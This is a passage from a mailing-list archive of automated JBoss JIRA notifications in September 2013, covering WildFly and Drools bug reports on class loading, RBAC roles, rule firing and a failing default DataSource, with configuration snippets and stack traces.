(x86)\Java\jdk1.6.0_37\jre\lib\ext;C:\Windows\Sun\Java\lib\ext, sun.boot.class.path=C:\Program Files (x86)\Java\jdk1.6.0_37\jre\lib\resources.jar;C:\Program Files (x86)\Java\jdk1.6.0_37\jre\lib\rt.jar;C:\Program Files (x86)\Java\jdk1.6.0_37\jre\lib\sunrsasign.jar;C:\Program Files (x86)\Java\jdk1.6.0_37\jre\lib\jsse.jar;C:\Program Files (x86)\Java\jdk1.6.0_37\jre\lib\jce.jar;C:\Program Files (x86)\Java\jdk1.6.0_37\jre\lib\charsets.jar;C:\Program Files (x86)\Java\jdk1.6.0_37\jre\lib\modules\jdk.boot.jar;C:\Program Files (x86)\Java\jdk1.6.0_37\jre\classes, server.loader=, java.vendor=Sun Microsystems Inc., catalina.base=D:\apache-tomcat-6.0.36, file.separator=\, java.vendor.url.bug=http://java.sun.com/cgi-bin/bugreport.cgi, common.loader=${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar, sun.io.unicode.encoding=UnicodeLittle, sun.cpu.endian=little, package.access=sun.,org.apache.catalina.,org.apache.coyote.,org.apache.tomcat.,org.apache.jasper.,sun.beans., sun.desktop=windows, sun.cpu.isalist=pentium_pro+mmx pentium_pro pentium+mmx pentium i486 i386 i86}
> ------------------------------------------------------------

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 06:15:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 9 Sep 2013 06:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2013) SecurityContextInterceptor
 always uses doPrivilidged even when a security manager is not present
In-Reply-To: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500142.1378404490000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500142.1378404490000.15409.1378721703890@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2013?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas resolved WFLY-2013.
----------------------------------

    Resolution: Done

    
> SecurityContextInterceptor always uses doPrivilidged even when a security manager is not present
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2013
>                 URL: https://issues.jboss.org/browse/WFLY-2013
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>
> This is slow. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 06:26:03 2013
From: jira-events at lists.jboss.org (Alexander Wolf (JIRA))
Date: Mon, 9 Sep 2013 06:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-256) Sliding Window rule
 duplicate fireing after fireAllRules() loop
In-Reply-To: <JIRA.12500285.1378722339395@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500285.1378722339395@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500285.1378722339395.15419.1378722363575@jira02.app.mwc.hst.phx2.redhat.com>

Alexander Wolf created DROOLS-256:
-------------------------------------

             Summary: Sliding Window rule duplicate fireing after fireAllRules() loop
                 Key: DROOLS-256
                 URL: https://issues.jboss.org/browse/DROOLS-256
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
         Environment: Modified 'Hello world' example, Eclipse Juno with Java 1.6 on Mac OS 
            Reporter: Alexander Wolf
            Assignee: Mark Proctor


Given the following rule:

//counts numbers of events in the previous 3 seconds
rule "slidingTimeCount"
when
	$n: Number (intValue > 0) from accumulate ( $e : Message() over window:time(3s) , count($e))
then
	System.out.println("Messages in last 3 seconds: " + $n);
end

When Messages (Event) are inserted in a loop and after this loop fireAllRules() on the session is invoked, the rule fires twice. 








--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 07:19:04 2013
From: jira-events at lists.jboss.org (Jarkko Rantavuori (JIRA))
Date: Mon, 9 Sep 2013 07:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-826) ModuleClassLoader breaks
 Aspect-J non-load-time-weaving aspects
In-Reply-To: <JIRA.12482271.1357750084000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12482271.1357750084000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12482271.1357750084000.15448.1378725544015@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-826?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802704#comment-12802704 ] 

Jarkko Rantavuori commented on WFLY-826:
----------------------------------------

It seems this same issue pop ups with anything looked up with jee:jndi-lookup lookups in spring context, with anything fetched directly from JNDI. Now hit the same thing with JMS resources.

The way to diagnoze this issue is to wire up a debugger, make an exception breakpoint on java.lang.IllegalArgumentException and check from call stack which class does it choke into. With JMS, the classes were org.hornetq.ra.HornetQRAConnectionFactoryImpl and org.hornetq.jms.client.HornetQQueue, so jboss-deployment-structure needed to contain internal modules org.hotnerq and org.hornetq.ra as dependencies to get around this issue and app back to work.
                
> ModuleClassLoader breaks Aspect-J non-load-time-weaving aspects 
> ----------------------------------------------------------------
>
>                 Key: WFLY-826
>                 URL: https://issues.jboss.org/browse/WFLY-826
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading
>         Environment: Windows 7
>            Reporter: Jarkko Rantavuori
>            Assignee: David Lloyd
>         Attachments: MyMethodTrace.java, MyMethodTraceAspect.java, spring-app-aop-datasource-1.0.0-BUILD-SNAPSHOT.war, spring-mvc-aop-datasource-app.zip
>
>
> Special measures need to be taken for load-time-weaving with aspects, but using them without load-time weaving works normally OOB. However, if this kind of Spring configuration is used:
>     <!-- Test to get a data source -->
>     <jee:jndi-lookup id="dataSource" jndi-name="jboss/datasources/ExampleDS"/>
>     <!-- AOP part -->
>     <bean id="methodTraceAspect" class="fi.eis.applications.jboss.poc.gemini.spring.aop.support.api.MyMethodTraceAspect"/>
>     <aop:aspectj-autoproxy />
>     <!-- end AOP -->
>     <bean class="fi.eis.applications.controllers.HomeController">
>         <constructor-arg ref="dataSource" />
>     </bean>
> JBoss tries to use methodTraceAspect also on the data source. Data source is loaded by ModuleClassLoader that in has only visibility to org.jboss.jca.adapters* classes (confirmed with a debugger), so it cannot find the aspect class anymore, making aspect-j throw org.aspectj.weaver.reflect.ReflectionWorld$ReflectionWorldException: warning can't determine implemented interfaces of missing type
> fi.eis.applications.jboss.poc.gemini.spring.aop.support.api.MyMethodTraceAspect [Xlint:cantFindType].
> This has large problems in bigger applications, where general AOP pointcuts are used - no jboss-module stuff can be used as beans, anywhere. I'm aware of no workaround for this.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 09:12:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 9 Sep 2013 09:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2024) Scoped roles base on
 SuperUser should not be allowed
In-Reply-To: <JIRA.12500268.1378651067000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500268.1378651067000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500268.1378651067000.15609.1378732323757@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2024?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802729#comment-12802729 ] 

Heiko Braun commented on WFLY-2024:
-----------------------------------

hbraun: jcechace: just to explain what's going on:
[3:08pm] hbraun: there may be edge cases where the scoped role doesn't match any instances
[3:08pm] hbraun: i.e. the group doesn't exists, or the host is not available
[3:08pm] hbraun: in terms of configuration it may a legal case
[3:09pm] hbraun: but using the console in domain, w/o any addressable resource (host or group) doesn't make sense
[3:09pm] jcechace: Yea, i get it.. that's the reason for that message. So  indeed it is a feature 
[3:09pm] hbraun: hence you get the error message
                
> Scoped roles base on SuperUser  should not be allowed
> -----------------------------------------------------
>
>                 Key: WFLY-2024
>                 URL: https://issues.jboss.org/browse/WFLY-2024
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> It should not be possible to create scoped roles with SuperUser used as the base role. These roles currently don't have any permission to operate over Server Group / Host anyway and having such role doesn't make sense (as restricted superuser is not a superuser).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 09:24:03 2013
From: jira-events at lists.jboss.org (Jakub Cechacek (JIRA))
Date: Mon, 9 Sep 2013 09:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2024) Scoped roles base on
 SuperUser should not be allowed
In-Reply-To: <JIRA.12500268.1378651067000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500268.1378651067000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500268.1378651067000.15663.1378733043867@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2024?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jakub Cechacek closed WFLY-2024.
--------------------------------

    Resolution: Rejected

    
> Scoped roles base on SuperUser  should not be allowed
> -----------------------------------------------------
>
>                 Key: WFLY-2024
>                 URL: https://issues.jboss.org/browse/WFLY-2024
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> It should not be possible to create scoped roles with SuperUser used as the base role. These roles currently don't have any permission to operate over Server Group / Host anyway and having such role doesn't make sense (as restricted superuser is not a superuser).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 09:32:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Mon, 9 Sep 2013 09:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.15723.1378733523597@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-1821:
------------------------------

    Priority: Blocker  (was: Major)

    
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 10:59:03 2013
From: jira-events at lists.jboss.org (Martin Reinhardt (JIRA))
Date: Mon, 9 Sep 2013 10:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (EJBTHREE-2254) @Singleton does not work
 with @RunAs/@RolesAllowed from an MDB (@Service works fine)
In-Reply-To: <JIRA.12439175.1307489613000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12439175.1307489613000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12439175.1307489613000.15882.1378738743756@jira02.app.mwc.hst.phx2.redhat.com>

An HTML attachment was scrubbed...
URL: http://lists.jboss.org/pipermail/jboss-jira/attachments/20130909/794db48f/attachment.html 

From jira-events at lists.jboss.org  Mon Sep  9 11:09:03 2013
From: jira-events at lists.jboss.org (Lincoln Baxter III (JIRA))
Date: Mon, 9 Sep 2013 11:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268603@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268603@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268603.15922.1378739343655@jira02.app.mwc.hst.phx2.redhat.com>

Lincoln Baxter III created WFLY-2027:
----------------------------------------

             Summary: Default DataSource is not working
                 Key: WFLY-2027
                 URL: https://issues.jboss.org/browse/WFLY-2027
             Project: WildFly
          Issue Type: Bug
          Components: JPA / Hibernate
    Affects Versions: 8.0.0.Alpha4
            Reporter: Lincoln Baxter III
            Assignee: Scott Marlow


The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:

 {code}EE 5.19

The Java EE Platform requires that a Java EE Product Provider provide a database 
in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
Product Provider must also provide a preconfigured, default data source for use by 
the application in accessing this database.
The Java EE Product Provider must make the default data source accessible to 
the application under the JNDI name java:comp/DefaultDataSource.
The Application Component Provider or Deployer may explicitly bind a 
DataSource resource reference to the default data source using the lookup element 
of the Resource annotation or the lookup-name element of the resource-ref
deployment descriptor element. For example,
@Resource(lookup="java:comp/DefaultDataSource")
DataSource myDS;
In the absence of such a binding, the mapping of the reference will default to 
the product's default data source.
For example, the following will map to a preconfigured data source for the 
product's default database:
@Resource
DataSource myDS;{code}

This, isn't working however:

{code}
<persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">

   <persistence-unit name="default" transaction-type="JTA">
   </persistence-unit>

</persistence>{code}

Results in: 

{code}
10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	... 4 more

10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
    Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
{code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 11:11:03 2013
From: jira-events at lists.jboss.org (Lincoln Baxter III (JIRA))
Date: Mon, 9 Sep 2013 11:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.15931.1378739463458@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802783#comment-12802783 ] 

Lincoln Baxter III commented on WFLY-2027:
------------------------------------------

Supporting blog showing how Oracle is interpreting this: 

https://blogs.oracle.com/arungupta/entry/default_datasource_in_java_ee

I still haven't been able to find the spec verbiage where persistence.xml is specifically mentioned.
                
> Default DataSource is not working
> ---------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep  9 11:25:04 2013
From: jira-events at lists.jboss.org (Lincoln Baxter III (JIRA))
Date: Mon, 9 Sep 2013 11:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.15951.1378740304004@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lincoln Baxter III updated WFLY-2027:
-------------------------------------

    Description: 
The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:

 {code}EE 5.19

The Java EE Platform requires that a Java EE Product Provider provide a database 
in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
Product Provider must also provide a preconfigured, default data source for use by 
the application in accessing this database.
The Java EE Product Provider must make the default data source accessible to 
the application under the JNDI name java:comp/DefaultDataSource.
The Application Component Provider or Deployer may explicitly bind a 
DataSource resource reference to the default data source using the lookup element 
of the Resource annotation or the lookup-name element of the resource-ref
deployment descriptor element. For example,
@Resource(lookup="java:comp/DefaultDataSource")
DataSource myDS;
In the absence of such a binding, the mapping of the reference will default to 
the product's default data source.
For example, the following will map to a preconfigured data source for the 
product's default database:
@Resource
DataSource myDS;{code}

This, isn't working however:

{code}
<persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">

   <persistence-unit name="default" transaction-type="JTA">
   </persistence-unit>

</persistence>{code}

Results in: 

{code}
10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	... 4 more

10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
    Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
{code}

Additionally, actually specifying the expected JDNI name of the default DS like this:

{code}   <persistence-unit name="default" transaction-type="JTA">
      <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
      <exclude-unlisted-classes>false</exclude-unlisted-classes>
   </persistence-unit>{code}

Results in this:

{code}
JBAS014775:    New missing/unsatisfied dependencies:
      service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
      service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
{code}

  was:
The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:

